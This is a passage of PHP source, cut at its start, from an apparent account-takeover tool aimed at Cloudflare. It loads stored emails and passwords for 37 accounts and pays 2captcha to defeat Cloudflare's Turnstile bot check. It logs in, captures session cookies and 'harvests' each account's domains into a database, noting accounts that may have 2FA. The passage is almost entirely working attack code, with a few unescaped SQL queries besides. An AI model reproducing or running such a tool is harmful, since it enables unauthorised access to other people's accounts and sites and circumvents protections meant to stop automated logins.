true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => [ 'key' => $captcha_key, 'method' => 'turnstile', 'sitekey' => $sitekey, 'pageurl' => $url, 'json' => 1 ] ]); $resp = json_decode(curl_exec($ch), true); curl_close($ch); if (!($resp['status'] ?? false)) return ['error' => $resp['request'] ?? 'Submit failed']; $task_id = $resp['request']; // Poll for result (max 120 seconds) for ($i = 0; $i < 24; $i++) { sleep(5); $ch = curl_init("http://2captcha.com/res.php?key=$captcha_key&action=get&id=$task_id&json=1"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = json_decode(curl_exec($ch), true); curl_close($ch); if (($result['status'] ?? 0) == 1) { return ['token' => $result['request']]; } if (($result['request'] ?? '') !== 'CAPCHA_NOT_READY') { return ['error' => $result['request'] ?? 'Unknown error']; } } return ['error' => 'Timeout']; } function cf_login_with_turnstile($email, $password, $turnstile_token) { // POST to CF login endpoint with Turnstile response $ch = curl_init('https://dash.cloudflare.com/api/v4/login'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode([ 'email' => $email, 'password' => $password, 'captcha_response' => $turnstile_token ]), CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'Accept: application/json', 'Origin: https://dash.cloudflare.com', 'Referer: https://dash.cloudflare.com/login' ], CURLOPT_HEADER => true, CURLOPT_TIMEOUT => 30 ]); $response = curl_exec($ch); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); curl_close($ch); // Extract cookies preg_match_all('/Set-Cookie:\s*([^;]+)/i', $headers, $matches); $cookies = implode('; ', $matches[1] ?? []); return [ 'body' => json_decode($body, true), 'cookies' => $cookies, 'raw_headers' => $headers ]; } function cf_get_api_key($cookies) { // Use session to get Global API Key // This requires visiting profile page - the API key is shown after re-auth // Alternative: use session to list zones directly $ch = curl_init('https://api.cloudflare.com/client/v4/zones?per_page=50'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ 'Cookie: ' . $cookies, 'Content-Type: application/json' ], CURLOPT_TIMEOUT => 30 ]); $resp = json_decode(curl_exec($ch), true); curl_close($ch); return $resp; } switch($action) { case 'set_captcha_key': $key = $_GET['key'] ?? $_POST['key'] ?? ''; if (!$key) { echo json_encode(['error' => 'Need key param']); break; } // Update 2captcha entries pg_query($db, "UPDATE captcha_services SET api_key='".pg_escape_string($db,$key)."', status='active' WHERE name LIKE '%2captcha%'"); // Verify key $ch = curl_init("http://2captcha.com/res.php?key=$key&action=getbalance&json=1"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $r = json_decode(curl_exec($ch), true); curl_close($ch); if (($r['status'] ?? 0) == 1) { $balance = $r['request']; pg_query($db, "UPDATE captcha_services SET balance=$balance WHERE name LIKE '%2captcha%'"); echo json_encode(['status' => 'success', 'balance' => $balance]); } else { echo json_encode(['status' => 'error', 'message' => $r['request'] ?? 'Invalid key']); } break; case 'process_one': $id = (int)($_GET['id'] ?? 0); if (!$id) { echo json_encode(['error' => 'Need account id']); break; } $captcha_key = get_captcha_key($db); if (!$captcha_key) { echo json_encode(['error' => 'Set 2captcha key first: ?action=set_captcha_key&key=YOUR_KEY']); break; } $acc = pg_fetch_assoc(pg_query($db, "SELECT id, email, password FROM cloudflare_accounts WHERE id=$id")); if (!$acc) { echo json_encode(['error' => 'Account not found']); break; } // Step 1: Solve Turnstile echo json_encode(['step' => 'solving_turnstile']) . "\n"; flush(); $turnstile = solve_turnstile($captcha_key, $CF_TURNSTILE_SITEKEY, $CF_LOGIN_URL); if (isset($turnstile['error'])) { echo json_encode(['error' => 'Turnstile: ' . $turnstile['error']]); break; } // Step 2: Login $login = cf_login_with_turnstile($acc['email'], $acc['password'], $turnstile['token']); $login_data = $login['body']; if (!($login_data['success'] ?? false)) { echo json_encode(['error' => 'Login failed', 'cf_errors' => $login_data['errors'] ?? [], 'note' => 'Account may have 2FA']); break; } // Step 3: Use session to list zones $zones = cf_get_api_key($login['cookies']); $domains = []; if ($zones['success'] ?? false) { foreach ($zones['result'] ?? [] as $z) { $d = pg_escape_string($db, $z['name']); pg_query($db, "INSERT INTO cloudflare_domains(account_id, domain, zone_id, status, created_at) VALUES($id, '$d', '".pg_escape_string($db, $z['id'])."', '{$z['status']}', NOW()) ON CONFLICT DO NOTHING"); $domains[] = $z['name']; } pg_query($db, "UPDATE cloudflare_accounts SET domains_count=".count($domains).", api_status='session_auth' WHERE id=$id"); } echo json_encode([ 'status' => 'success', 'account' => $acc['email'], 'login_ok' => $login_data['success'] ?? false, 'domains_found' => count($domains), 'domains' => $domains, 'note' => 'Domains harvested via session auth (no permanent API key needed)' ]); break; case 'process_all': $captcha_key = get_captcha_key($db); if (!$captcha_key) { echo json_encode(['error' => 'Set 2captcha key first']); break; } $accounts = pg_fetch_all(pg_query($db, " SELECT id, email, password FROM cloudflare_accounts WHERE (api_key IS NULL OR api_key='' OR api_key='PENDING') AND password IS NOT NULL AND password!='' AND status='active' ORDER BY domains_count DESC ")); if (!$accounts) { echo json_encode(['error' => 'No accounts to process']); break; } $results = []; $total_domains = 0; foreach ($accounts as $acc) { $result = ['id' => $acc['id'], 'email' => $acc['email']]; // Solve Turnstile $ts = solve_turnstile($captcha_key, $CF_TURNSTILE_SITEKEY, $CF_LOGIN_URL); if (isset($ts['error'])) { $result['error'] = 'Turnstile: ' . $ts['error']; $results[] = $result; continue; } // Login $login = cf_login_with_turnstile($acc['email'], $acc['password'], $ts['token']); if (!($login['body']['success'] ?? false)) { $result['error'] = 'Login failed: ' . json_encode($login['body']['errors'] ?? []); $results[] = $result; continue; } // List zones $zones = cf_get_api_key($login['cookies']); $domains = []; if ($zones['success'] ?? false) { foreach ($zones['result'] ?? [] as $z) { $d = pg_escape_string($db, $z['name']); pg_query($db, "INSERT INTO cloudflare_domains(account_id, domain, zone_id, status, created_at) VALUES({$acc['id']}, '$d', '".pg_escape_string($db,$z['id'])."', '{$z['status']}', NOW()) ON CONFLICT DO NOTHING"); $domains[] = $z['name']; } pg_query($db, "UPDATE cloudflare_accounts SET domains_count=".count($domains).", api_status='session_auth' WHERE id={$acc['id']}"); } $result['status'] = 'success'; $result['domains'] = count($domains); $total_domains += count($domains); $results[] = $result; sleep(2); // Rate limit } echo json_encode([ 'status' => 'complete', 'processed' => count($results), 'total_domains_harvested' => $total_domains, 'results' => $results ]); break; case 'status': $captcha_key = get_captcha_key($db); $s = pg_fetch_assoc(pg_query($db, " SELECT (SELECT COUNT(*) FROM cloudflare_accounts WHERE status='active') as total_accounts, (SELECT COUNT(*) FROM cloudflare_accounts WHERE api_key IS NOT NULL AND api_key!='' AND api_key!='PENDING') as with_keys, (SELECT COUNT(*) FROM cloudflare_accounts WHERE api_status='session_auth') as session_auth, (SELECT COUNT(*) FROM cloudflare_domains) as total_domains ")); echo json_encode([ 'status' => 'success', 'captcha_ready' => !empty($captcha_key), 'stats' => $s, 'instructions' => !$captcha_key ? 'Set 2captcha key: ?action=set_captcha_key&key=YOUR_KEY (costs ~$0.08 per CF account, ~$3 for all 37)' : 'Ready! Run: ?action=process_all' ]); break; }